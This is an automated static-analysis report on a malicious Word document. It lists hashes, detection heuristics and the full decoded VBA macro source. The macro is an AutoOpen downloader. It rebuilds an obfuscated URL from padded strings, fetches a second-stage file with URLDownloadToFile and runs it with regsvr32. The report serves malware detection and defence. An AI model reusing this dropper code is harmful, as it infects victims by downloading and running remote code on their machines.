Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2c78cd7cdd7456b5…

MALICIOUS

Office (OOXML)

118.6 KB Created: 2020-06-03 09:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-08-10
MD5: 50438c76f5ed9b813b984ba94f44245f SHA-1: 0ef2bf6c941f9264102693f4d200f5ae742d88d7 SHA-256: 2c78cd7cdd7456b52ca3e7f1f45c1c4ef691740eb1f2c009570e012f3194174f
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon opening. The heuristic 'OLE_VBA_DOWNLOAD' indicates the use of URLDownloadToFile, suggesting the macro attempts to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature as a downloader.

Heuristics 5

  • ClamAV: Doc.Downloader.Generic-7997284-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7997284-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6014 bytes
SHA-256: 7f428c9c2f58a73c8b53295275c470d0a1006b4e5594d49c8bfd23bb895d583e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rT"
Function E(s1, zC)
i9 = JZ

' Amiably popularity occupancy viewing stratagem
' Gore explain
' Situate singh harem cobbler solo

' Simpson
' Transmission depreciate
' Ores explorer silica
' Hater clearing decorating
Dm = Replace(Join(i9, ""), s1, "")

' Barbie
' Alloy und inquest
i9 = Split(Dm, CB)

' Profligacy chronological
' Files amaryllis bedraggled
' Asian deceiver
' Driver consultancy patio generates
' Mac rico
' Construction priestcraft slum
Select Case zC
Case 0

' Putrefaction arrears frothy
' Bairn condone restructuring laws
E = i9(0)
Case 1

' Consulate reproductive smoker
' Implicitly drier
E = i9(1)
Case Else

' Filed defray
' Co-operate tactful ia
' Calvary gad lemonade
' Fender devious cleared bg
' Driving informal fatherland
MsgBox "Dm"
End Select
End Function
Sub AutoOpen()

' Gory disdainful coding
' Lint
' Detection operational competition readily
' Maryland larger rewards
' Gaza hang
Dim sx As New H

' Subconscious
' Abolitionist bee gray spongy
' Ibm announce aka electrical
' Og imagination incurable
' Elementary inquisitively before purposeless
' Downpour singles tendon
sx.VU E(I, 0), E(I, 1)

' Travel trailers scroll tongs
' Assiduous enamored deep tease
' Fido foolhardy
Dim Fu As New Y

' Wto utilities physiology
' Repeated consist dignitary
' Look
' Husk toll mystery soma greater

' Caper trio consultants caterpillar trend
' Magnificent guided fraudulent font guarantees felicitous
' Realm homo insubordination

' Clip
' Enhance physiology

' Kerry accosted edinburgh
' Statistical thick expectations
' Cinders intimidate regrettable
Fu.K "regsvr" & 32 & " " & E(I, 1)
End Sub

Attribute VB_Name = "H"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()

' Deceptive pertinent
' Stickers
' Cayman demagogue disfigure
End Sub
Private Sub Class_Terminate()

' Damper
' Orgy rapid photography debut duties
' Greetings beech girth counts municipality
End Sub
Public Sub VU(fY, A1)

' Unexpected venerate retained
' Northumberland jubilee longitudinal magically guido

' Threats epic tickle body aunty
' Taint notebooks cingular buzzing undignified
' Ewer untamed
' Thane forms yearly medical hun
' Briefly springs
URLDownloadToFile 0, fY, A1, 0, 0
End Sub

Attribute VB_Name = "Y"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function K(vR)

' Currency
' Specialists periods regardless truly antiquated
' Coordinates cremona
' Playmate stun creates mountebank
' Resume
Dim ir As New WshShell
ir.exec vR
End Function
Function tN(oF)
    
' Gets seeking
' Woodcut pianist jose
' Minus maximum commit
' Devon collusion invoice brotherly
' Paradox dp stereo

' Township tit poole acquired
' Magnetic
' Autumn disciplined
End Function

Attribute VB_Name = "rT1"
Public Const CB As String = "love"
Public Const I As String = "xxxxxxx"
Public Function JZ()

' Oo fatten unions
' Collusion
' Petrograd discounted converter detest
' Tennis losing
' Treble micah
Dim arr(12) As String
' Fissure band police
' Nearby
' Indices plentifully antediluvian danny
' Non- smallpox hoops
' Placard blanket accounts
arr(0) = "hxxxxxxxtxxxxxxxtxxxxxxxpxxxxxxx:xxxxxxx/xxxxxxx/xxxxxxxaxxxxxxxwxxxxxxxhxxxxxxx9xxxxxxx3xxxxxxxdxxxxxxxhxxxxxxxkxxxxxxxyxxxxxxx"
' Restriction dissimilarity
' Callous occurrence keep outlying
' Mouse island
' Smash forms trip campus
arr(1) = "lxxxxxxxpxxxxxxxsxxxxxxx5xxxxxxxuxxxxxxxlxxxxxxxnxxxxxxxqxxxxxxx-xxxxxxxbxxxxxxxexxxxxxx.xxxxxxxcxxxxxxxoxxxxxxxmxxxxxxx/xxxxxxx"
' Contrast husbandry bullet sega
' Granny sprightly
' Haiti mace veterinary child scathing
' Accomplish families relating clicking
' Nether insolvent wharves posting
' Sept pal employed bd separated leavings
arr(2) = "cxxxxxxxzxxxxxxxwxxxxxxxixxxxxxxhxxxxxxx/xxxxxxxfxxxxxxxxxxxxxxxlxxxxxxxaxxxxxxx.xxxxxxxpxxxxxxxhxxxxxxxpxxxxxxx?xxxxxxxlxxxxxxx"
' Duffer surveys
arr(3) = "=xxxxxxxgxxxxxxxaxxxxxxxpxxxxxxx3xxxxxxx.xxxxxxxcxxxxxxxaxxxxxxxbxxxxxxxlxxxxxxxoxxxxxxxvxxxxxxxexxxxxxxcxxxxxxx:xxxxxxx\xxxxxxx"
' Antelope
' Groceries confessor keys injection
' Medium jurisprudence atop united unreliable
' Magpie wins
arr(4) = "pxxxxxxxrxxxxxxxoxxxxxxxgxxxxxxxrxxxxxxxaxxxxxxxmxxxxxxxdxxxxxxxaxxxxxxxtxxxxxxxaxxxxxxx\xxxxxxx6xxxxxxx1xxxxxxx3xxxxxxx8xxxxxxx"
' Involve effective weekly
' Allowance
' Trade
' Uncanny priestess objectionable fact funding weekend
' Forms devotedly founding
arr(5) = "3xxxxxxx6xxxxxxx3xxxxxxx6xxxxxxx.xxxxxxxdxxxxxxxaxxxxxxxtxxxxxxx"

' Accrue ignition novice
' Disclaimers succumb radio sark
' Establishing architectural save
' Infringement
JZ = arr
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 30208 bytes
SHA-256: 44a28a8b03ec2f26460a8787c8cf56975d4f444049800a31e0d1bdfdd0967aef
Detection
ClamAV: Doc.Downloader.Generic-7997284-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.